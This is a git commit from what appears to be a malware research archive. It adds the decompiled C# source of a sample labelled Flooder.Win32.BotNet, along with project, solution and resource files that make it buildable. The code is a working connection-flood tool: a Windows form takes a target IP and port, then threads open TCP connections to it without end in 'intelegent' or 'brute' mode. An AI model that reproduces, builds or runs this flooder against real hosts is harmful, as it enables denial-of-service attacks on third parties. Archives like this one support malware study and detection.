auto-decompiled msil via petikvx

add
This commit is contained in:
vxunderground
2022-08-18 06:28:56 -05:00
parent 26192f771b
commit f2ac1ece55
12767 changed files with 1945075 additions and 0 deletions
@@ -0,0 +1,3 @@
using System.Reflection;
[assembly: AssemblyVersion("0.0.0.0")]
@@ -0,0 +1,101 @@
// Decompiled with JetBrains decompiler
// Type: Bot1.Bot
// Assembly: Bot1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 20DD3A26-8F2D-4308-84CA-4E2001F5A7BC
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Flooder.Win32.BotNet-11803bea825d1019c1c625a35ddac314d1b24b11958883eb4cc10b0fde3423f3.exe
using System;
using System.Collections;
using System.Threading;
namespace Bot1
{
public class Bot
{
private int type;
private int port;
private string ip;
public Bot(string _ip, int _port, int _type)
{
this.type = _type;
this.ip = _ip;
this.port = _port;
}
public void Start()
{
int num1 = 0;
ArrayList arrayList1 = new ArrayList();
ArrayList arrayList2 = new ArrayList();
while (true)
{
switch (this.type - 1)
{
case 0:
if (num1 == 0)
{
try
{
arrayList2.Add((object) new Connection(arrayList2.Count + 1, this.ip, this.port));
arrayList1.Add((object) new Thread(new ThreadStart(((Connection) arrayList2[arrayList2.Count - 1]).Connect)));
((Thread) arrayList1[arrayList1.Count - 1]).Start();
}
catch (Exception ex)
{
}
}
for (int index = 0; index < arrayList2.Count; ++index)
{
((Connection) arrayList2[index]).UpdateStatus();
if (((Connection) arrayList2[index]).status == 2)
{
try
{
arrayList2[index] = (object) new Connection(index, this.ip, this.port);
arrayList1[index] = (object) new Thread(new ThreadStart(((Connection) arrayList2[index]).Connect));
((Thread) arrayList1[index]).Start();
}
catch (Exception ex)
{
}
}
}
int num2 = 0;
int num3 = 0;
num1 = 0;
for (int index = 0; index < arrayList2.Count; ++index)
{
switch (((Connection) arrayList2[index]).status)
{
case 0:
++num2;
break;
case 1:
++num3;
break;
case 2:
++num1;
break;
}
}
Console.WriteLine("unknown = " + num2.ToString() + "; connected = " + num3.ToString() + "; disconnected = " + num1.ToString());
continue;
case 1:
try
{
arrayList1.Add((object) new Thread(new ThreadStart(new Connection(arrayList1.Count + 1, this.ip, this.port).Connect)));
((Thread) arrayList1[arrayList1.Count - 1]).Start();
}
catch (Exception ex)
{
}
Console.WriteLine("attempts = " + arrayList1.Count.ToString());
continue;
default:
continue;
}
}
}
}
}
@@ -0,0 +1,17 @@
// Decompiled with JetBrains decompiler
// Type: Bot1.Bot1
// Assembly: Bot1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 20DD3A26-8F2D-4308-84CA-4E2001F5A7BC
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Flooder.Win32.BotNet-11803bea825d1019c1c625a35ddac314d1b24b11958883eb4cc10b0fde3423f3.exe
using System;
using System.Windows.Forms;
namespace Bot1
{
public class Bot1
{
[STAThread]
private static void Main() => Application.Run((Form) new FormMain());
}
}
@@ -0,0 +1,74 @@
// Decompiled with JetBrains decompiler
// Type: Bot1.Connection
// Assembly: Bot1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 20DD3A26-8F2D-4308-84CA-4E2001F5A7BC
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Flooder.Win32.BotNet-11803bea825d1019c1c625a35ddac314d1b24b11958883eb4cc10b0fde3423f3.exe
using System;
using System.Net;
using System.Net.Sockets;
namespace Bot1
{
public class Connection
{
public int id;
public int status = 2;
private IPAddress ip;
private int port;
private Socket client;
public Connection(int _id, string _ip, int _port)
{
this.id = _id;
this.ip = IPAddress.Parse(_ip);
this.port = _port;
try
{
this.client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
}
catch (Exception ex)
{
this.status = 2;
}
}
public void Connect()
{
this.status = 0;
try
{
this.client.BeginConnect((EndPoint) new IPEndPoint(this.ip, this.port), new AsyncCallback(Connection.ConnectCallback), (object) this);
}
catch (Exception ex)
{
this.status = 2;
}
}
public static void ConnectCallback(IAsyncResult result)
{
try
{
if (((Connection) result.AsyncState).client.Poll(10, SelectMode.SelectWrite))
((Connection) result.AsyncState).status = 1;
else
((Connection) result.AsyncState).status = 2;
}
catch (Exception ex)
{
((Connection) result.AsyncState).status = 2;
}
}
public void UpdateStatus()
{
if (this.status != 1)
return;
if (this.client.Poll(10, SelectMode.SelectWrite))
this.status = 1;
else
this.status = 2;
}
}
}
@@ -0,0 +1,48 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Flooder.Win32.BotNet-11803bea825d1019c1c625a35ddac314d1b24b11958883eb4cc10b0fde3423f3.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{8FC90CE6-8481-4D0B-B763-AED74246BA77}</ProjectGuid>
<OutputType>Exe</OutputType>
<AssemblyName>Bot1</AssemblyName>
<ApplicationVersion>0.0.0.0</ApplicationVersion>
<RootNamespace>Bot1</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="Bot1.cs" />
<Compile Include="Bot.cs" />
<Compile Include="Connection.cs" />
<Compile Include="FormMain.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="FormMain.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Bot1", "Flooder.Win32.BotNet-11803bea825d1019c1c625a35ddac314d1b24b11958883eb4cc10b0fde3423f3.csproj", "{8FC90CE6-8481-4D0B-B763-AED74246BA77}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{8FC90CE6-8481-4D0B-B763-AED74246BA77}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{8FC90CE6-8481-4D0B-B763-AED74246BA77}.Debug|Any CPU.Build.0 = Debug|Any CPU
{8FC90CE6-8481-4D0B-B763-AED74246BA77}.Release|Any CPU.ActiveCfg = Release|Any CPU
{8FC90CE6-8481-4D0B-B763-AED74246BA77}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,182 @@
// Decompiled with JetBrains decompiler
// Type: Bot1.FormMain
// Assembly: Bot1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 20DD3A26-8F2D-4308-84CA-4E2001F5A7BC
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Flooder.Win32.BotNet-11803bea825d1019c1c625a35ddac314d1b24b11958883eb4cc10b0fde3423f3.exe
using System;
using System.ComponentModel;
using System.Drawing;
using System.Resources;
using System.Threading;
using System.Windows.Forms;
namespace Bot1
{
public class FormMain : Form
{
private bool stopProcessing = false;
private Thread thread;
private Button ButtonClose;
private GroupBox GroupParameters;
private Button ButtonStart;
private Button ButtonStop;
private Label label1;
private TextBox ip;
private TextBox port;
private StatusBar Status;
private RadioButton OptionIntelegent;
private RadioButton OptionBrute;
private Container components = (Container) null;
public FormMain() => this.InitializeComponent();
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
ResourceManager resourceManager = new ResourceManager(typeof (FormMain));
this.ButtonClose = new Button();
this.GroupParameters = new GroupBox();
this.OptionBrute = new RadioButton();
this.OptionIntelegent = new RadioButton();
this.label1 = new Label();
this.port = new TextBox();
this.ip = new TextBox();
this.ButtonStart = new Button();
this.ButtonStop = new Button();
this.Status = new StatusBar();
this.GroupParameters.SuspendLayout();
this.SuspendLayout();
this.ButtonClose.DialogResult = DialogResult.Cancel;
this.ButtonClose.Location = new Point(221, 7);
this.ButtonClose.Name = "ButtonClose";
this.ButtonClose.Size = new Size(56, 24);
this.ButtonClose.TabIndex = 6;
this.ButtonClose.Text = "Close";
this.ButtonClose.Click += new EventHandler(this.ButtonClose_Click);
this.GroupParameters.Controls.AddRange(new Control[7]
{
(Control) this.OptionBrute,
(Control) this.OptionIntelegent,
(Control) this.label1,
(Control) this.port,
(Control) this.ip,
(Control) this.ButtonStart,
(Control) this.ButtonStop
});
this.GroupParameters.Location = new Point(4, 2);
this.GroupParameters.Name = "GroupParameters";
this.GroupParameters.Size = new Size(212, 80);
this.GroupParameters.TabIndex = 3;
this.GroupParameters.TabStop = false;
this.OptionBrute.Location = new Point(8, 59);
this.OptionBrute.Name = "OptionBrute";
this.OptionBrute.Size = new Size(75, 16);
this.OptionBrute.TabIndex = 9;
this.OptionBrute.Text = "brute";
this.OptionIntelegent.Checked = true;
this.OptionIntelegent.Location = new Point(8, 42);
this.OptionIntelegent.Name = "OptionIntelegent";
this.OptionIntelegent.Size = new Size(75, 16);
this.OptionIntelegent.TabIndex = 8;
this.OptionIntelegent.TabStop = true;
this.OptionIntelegent.Text = "intelegent";
this.label1.AutoSize = true;
this.label1.Font = new Font("Arial", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.label1.Location = new Point(136, 18);
this.label1.Name = "label1";
this.label1.Size = new Size(8, 13);
this.label1.TabIndex = 7;
this.label1.Text = ":";
this.port.Location = new Point(144, 16);
this.port.Name = "port";
this.port.Size = new Size(40, 20);
this.port.TabIndex = 2;
this.port.Text = "80";
this.ip.Location = new Point(24, 16);
this.ip.Name = "ip";
this.ip.Size = new Size(110, 20);
this.ip.TabIndex = 1;
this.ip.Text = "127.0.0.1";
this.ButtonStart.Location = new Point(91, 45);
this.ButtonStart.Name = "ButtonStart";
this.ButtonStart.Size = new Size(56, 24);
this.ButtonStart.TabIndex = 4;
this.ButtonStart.Text = "Start";
this.ButtonStart.Click += new EventHandler(this.ButtonStart_Click);
this.ButtonStop.Enabled = false;
this.ButtonStop.Location = new Point(147, 45);
this.ButtonStop.Name = "ButtonStop";
this.ButtonStop.Size = new Size(56, 24);
this.ButtonStop.TabIndex = 5;
this.ButtonStop.Text = "Stop";
this.ButtonStop.Click += new EventHandler(this.ButtonStop_Click);
this.Status.Location = new Point(0, 89);
this.Status.Name = "Status";
this.Status.ShowPanels = true;
this.Status.Size = new Size(281, 22);
this.Status.TabIndex = 7;
this.AutoScaleBaseSize = new Size(5, 13);
this.CancelButton = (IButtonControl) this.ButtonClose;
this.ClientSize = new Size(281, 111);
this.Controls.AddRange(new Control[3]
{
(Control) this.Status,
(Control) this.GroupParameters,
(Control) this.ButtonClose
});
this.Font = new Font("Arial", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.Icon = (Icon) resourceManager.GetObject("$this.Icon");
this.Name = nameof (FormMain);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = "Bot";
this.GroupParameters.ResumeLayout(false);
this.ResumeLayout(false);
}
private void ButtonClose_Click(object sender, EventArgs e)
{
this.thread.Abort();
Application.Exit();
}
private void ButtonStart_Click(object sender, EventArgs e)
{
this.ip.Enabled = false;
this.port.Enabled = false;
this.ButtonClose.Enabled = false;
this.ButtonStart.Enabled = false;
this.ButtonStop.Enabled = true;
this.stopProcessing = false;
this.Start();
}
private void ButtonStop_Click(object sender, EventArgs e)
{
this.ip.Enabled = true;
this.port.Enabled = true;
this.ButtonClose.Enabled = true;
this.ButtonStart.Enabled = true;
this.ButtonStop.Enabled = false;
this.stopProcessing = true;
}
private void Start()
{
int _type = 1;
if (this.OptionBrute.Checked)
_type = 2;
this.thread = new Thread(new ThreadStart(new Bot(this.ip.Text, (int) short.Parse(this.port.Text), _type).Start));
this.thread.Start();
while (!this.stopProcessing)
Application.DoEvents();
this.thread.Abort();
}
}
}
@@ -0,0 +1,129 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<data name="$this.SnapToGrid" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs=</value>
</data>
<data name="$this.Icon" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAFRTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0xLjAuMzMwMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAADYEAAACAAABAAIAICAQAAAAAADoAgAAJgAAABAQEAAAAAAAKAEAAA4DAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAd3d3d3d3d3d3d3d3d3dwBEREREREREREREREREREcAT/////////////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////RwBP/////////////////0cASIiIiIiIiIiIiIiIiIhHAERERERERERERERERERERwBExMTExMTExMTE7Ozkl0cATMzMzMzMzMzMzMzMzMxAAAREREREREREREREREREAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/////////////////////8AAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAA8AAAAf///////////////8oAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAB3d3d3d3d3dERERERERER0////////hHT///////+EdP///////4R0////////hHT///////+EdP///////4R0////////hHT///////+EdIiIiIiIiIR0zMzMzMzMxHxERERERERMAAAAAAAAAAAAAAAAAAAAAA//8AAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAD//wAA//8AAAs=</value>
</data>
<data name="$this.Name" mimetype="application/x-microsoft.net.object.binary.base64">
<value>CEZvcm1NYWlu</value>
</data>
</root>